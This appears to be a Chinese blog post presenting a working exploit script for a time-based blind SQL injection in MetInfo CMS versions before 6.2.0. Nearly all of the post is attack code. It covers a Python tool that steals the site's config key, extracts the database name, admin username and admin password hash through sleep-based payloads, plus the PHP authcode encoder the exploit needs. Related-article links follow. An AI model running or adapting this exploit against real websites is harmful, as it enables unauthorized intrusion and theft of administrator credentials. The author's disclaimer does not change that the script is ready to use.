#coding=utf-8
import requests
import re
import sys
import time #获取config_safe.php中的 key
def getKey(url,headers,local_url):
try:
url_key = url + "/config/config_safe.php"
rsp = requests.get(url_key,headers)
p = re.compile(r'<\?php\/\*(.*)\*\/\?>')
p1 = p.findall(rsp.text)
key = p1[0]
databaseLen(key,headers,local_url,url)
except:
sys.exit("The website is secure!!")
#获取数据库长度
def databaseLen(key,headers,local_url,url):
for str in range(1,21):
len = '%d'%str
payload = "1%27%20or%20if((select%20length(database())="+ len +"),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
databaseName(len,key,headers,local_url,url)
#爆出数据库名
def databaseName(len,key,headers,local_url,url):
len = int(len)
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加字符量
database_name = ''
for i in range(len):
ch = i + 1
ch = '%d'%ch
for char in chars:
payload = "1%27%20or%20if((select%20mid(database(),"+ ch +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
database_name = database_name + char
print("数据库名字为:%s"%database_name)
adminName(database_name,key,headers,local_url,url)
#爆出管理员用户名
def adminName(database_name,key,headers,local_url,url):
#首先爆用户名长度
for i in range(1,20):
len = '%d'%i
payload_len = "%27%20or%20if(((select%20length(admin_id)%20from%20"+ database_name +".met_admin_table%20limit%200,1)="+ len +"),sleep(5),1)%23"
back_len = queryKey(key,headers,payload_len,local_url,url)
if back_len is True:
break
#在爆出用户名
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加
admin_name = ''
for x in range(i):
str = '%d'%(x+1)
for char in chars:
payload_str = "1%27%20or%20if((mid((select%20admin_id%20from%20"+ database_name +".met_admin_table%20limit%200,1),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload_str,local_url,url)
if back_str is True:
admin_name = admin_name + char
break
print("管理员用户名为:%s"%admin_name)
adminPass(key,headers,local_url,url,database_name,admin_name)
#爆管理员密码
def adminPass(key,headers,local_url,url,database_name,admin_name):
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.'#可自行添加
admin_pass = ''
for i in range(1,33):
str = '%d'%i
for char in chars:
payload = "1%27%20or%20if((mid((select%20admin_pass%20from%20"+ database_name +".met_admin_table%20where%20admin_id=%27"+ admin_name +"%27),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
admin_pass = admin_pass + char
print("管理员密码md5为:%s"%admin_pass)
#获取encode后的数据
def queryKey(key,headers,str,local_url,url):
payload = "key="+key+"&str="+str
rsp = requests.post(local_url,headers = headers,data = payload)
# str = rsp.url
# data = str.replace('+','%20').replace('%28','(').replace('%29',')').replace('%3D','=').replace('%2C',',')
# print(data)
return getTestUrl(url,rsp.text,headers)
#获取需要测试的URL
def getTestUrl(url,payload,headers):
params = "p="+payload
test_url = url + "/admin/index.php?n=user&m=web&c=register&a=doemailvild"
return getData(test_url,params,headers)
#获取数据
def getData(url,params,headers):
startTime = time.time();
rsp = requests.post(url,data=params,headers=headers)
if time.time() - startTime > 4:
return True
else:
pass
if __name__ == '__main__':
headers = {
"Content-Type":"application/x-www-form-urlencoded",
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language":"en-US,en;q=0.5"
}
url = input("please input URL:")
if "http://" or "https://" in url:
local_url = input("请输入本地搭建的encode函数地址:")
getKey(url,headers,local_url)
else:
print("please input the correct url!!")  

本地搭建的encode函数:

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
} for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
} if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
print_r(urlencode(authcode($_POST['str'],'ENCOUDE',$_POST['key'],0)));

 使用图片:

此脚本为本人初学成果展示,请勿恶意利用该脚本攻击他人网站。

metinfo小于v6.2.0版本SQL盲注利用脚本的更多相关文章

  1. metinfo小于v6.2.0版本通杀SQL盲注漏洞分析

    0x01 此漏洞是由于未将decode解码后的数据过滤,而直接带入SQL语句中,从而导致SQL盲注漏洞. 0x02 漏洞分析:此处复现为metinfo6.1.3版本,漏洞最初产生为:/app/syst ...

  2. Web系统常见安全漏洞及解决方案-SQL盲注

    关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...

  3. SQL盲注学习-布尔型

    本次实验还是使用sqli-labs环境.在开始SQL盲注之前首先学习一下盲注需要用到的基础语法. 1.left()函数:left(str,lenth)它返回具有指定长度的字符串的左边部分. left( ...

  4. Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)

    Day41 login3(SKCTF)

  5. 小白日记42:kali渗透测试之Web渗透-SQL盲注

    SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...

  6. WEB安全实战(一)SQL盲注

    前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...

  7. Kali学习笔记43:SQL盲注

    前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入 我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式 如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲 ...

  8. [转载]sql 盲注之正则表达式攻击

    [转载]sql 盲注之正则表达式攻击 -----------------------------------------MYSQL 5+-------------------------------- ...

  9. WEB安全番外第四篇--关于SQL盲注

    一.SQL盲注: 看不到回显的,无法从返回直接读取到数据库内容的对数据的猜解,属于盲注. 二.第一种--基于布尔类型的盲注: 这种很简单,最典型的例子,就是挖SQL注入的时候常用的: ''' http ...

随机推荐

  1. keras实现MobileNet

    利用keras实现MobileNet,并以mnist数据集作为一个小例子进行识别.使用的环境是:tensorflow-gpu 2.0,python=3.7 , GTX-2070的GPU 1.导入数据 ...

  2. P2887 [USACO07NOV]Sunscreen G

    将奶牛按照能忍受的阳光强度最大值从小到大排序.对于当前这头奶牛,选取它能抹的最小防晒霜.因为越大的防晒霜后面的奶牛越可能利用,并且抹显然不劣于不抹. 时间复杂度 \(O\left(C\log C+L\ ...

  3. rsync单项同步

    配置rsync+inotify实时单向同步 定期同步的缺点: 执行备份的时间固定,延期明显,实时性差 当同步源长期不变化时,密集的定期任务是不必要的(浪费资源) 实时同步的优点: 一旦同步源出现变化, ...

  4. 20200116_centos7.2 下 mysql_5.7修改root密码

    1. 需改my.cnf文件 [root@rakinda-iot-platform ~]# vim /etc/my.cnf 2. 新增一行, 登录时跳过密码, 保存后退出, 重启mysql system ...

  5. git全流程

    服务器:Ubuntu 使用git前准备工作: 下载git之前先更新: apt-get update 安装git: apt-get install git 创建本地仓库: mkdir test git初 ...

  6. C#9.0新特性之四:顶级程序语句(Top-Level Programs)

    1 背景与动机 通常,如果只想用C#在控制台上打印一行"Hello World!",这可不是Console.WriteLine("Hello World!"); ...

  7. 第8.9节 Python类中内置的查看直接父类的__bases__属性

    终于介绍完了__init__方法和__new__方法,接下来轻松一下,本节介绍类中内置的__bases__属性. 一. 语法释义 Python 为所有类都提供了一个 bases 属性,通过该属性可以查 ...

  8. 第15.3节 PyCharm程序调试功能介绍

    一. 代码调试 点击工具栏的调试按钮(如下图蓝色圈标记按钮)可以进行程序调试,可以在调试前先设置断点,断点设置就是在打开文件的行与前面的行号之间用鼠标单击进行设置和取消(如下图蓝色下划线上面的实体圆点 ...

  9. PyQt(Python+Qt)学习随笔:QAbstractScrollArea的viewPort(视口)理解

    老猿Python博文目录 老猿Python博客地址 在学习Designer中ItemViews类部件时,这些部件都有个父类QAbstractScrollArea,该父类是Qt滚动区域的低级抽象.该区域 ...

  10. 安装虚拟机(centos7)

    安装VMware 15 这里就不介绍VMware如何安装了,可以自行百度安装. 准备centos7镜像 我选择的是网易的镜像源,地址是:http://mirrors.163.com/centos/7/ ...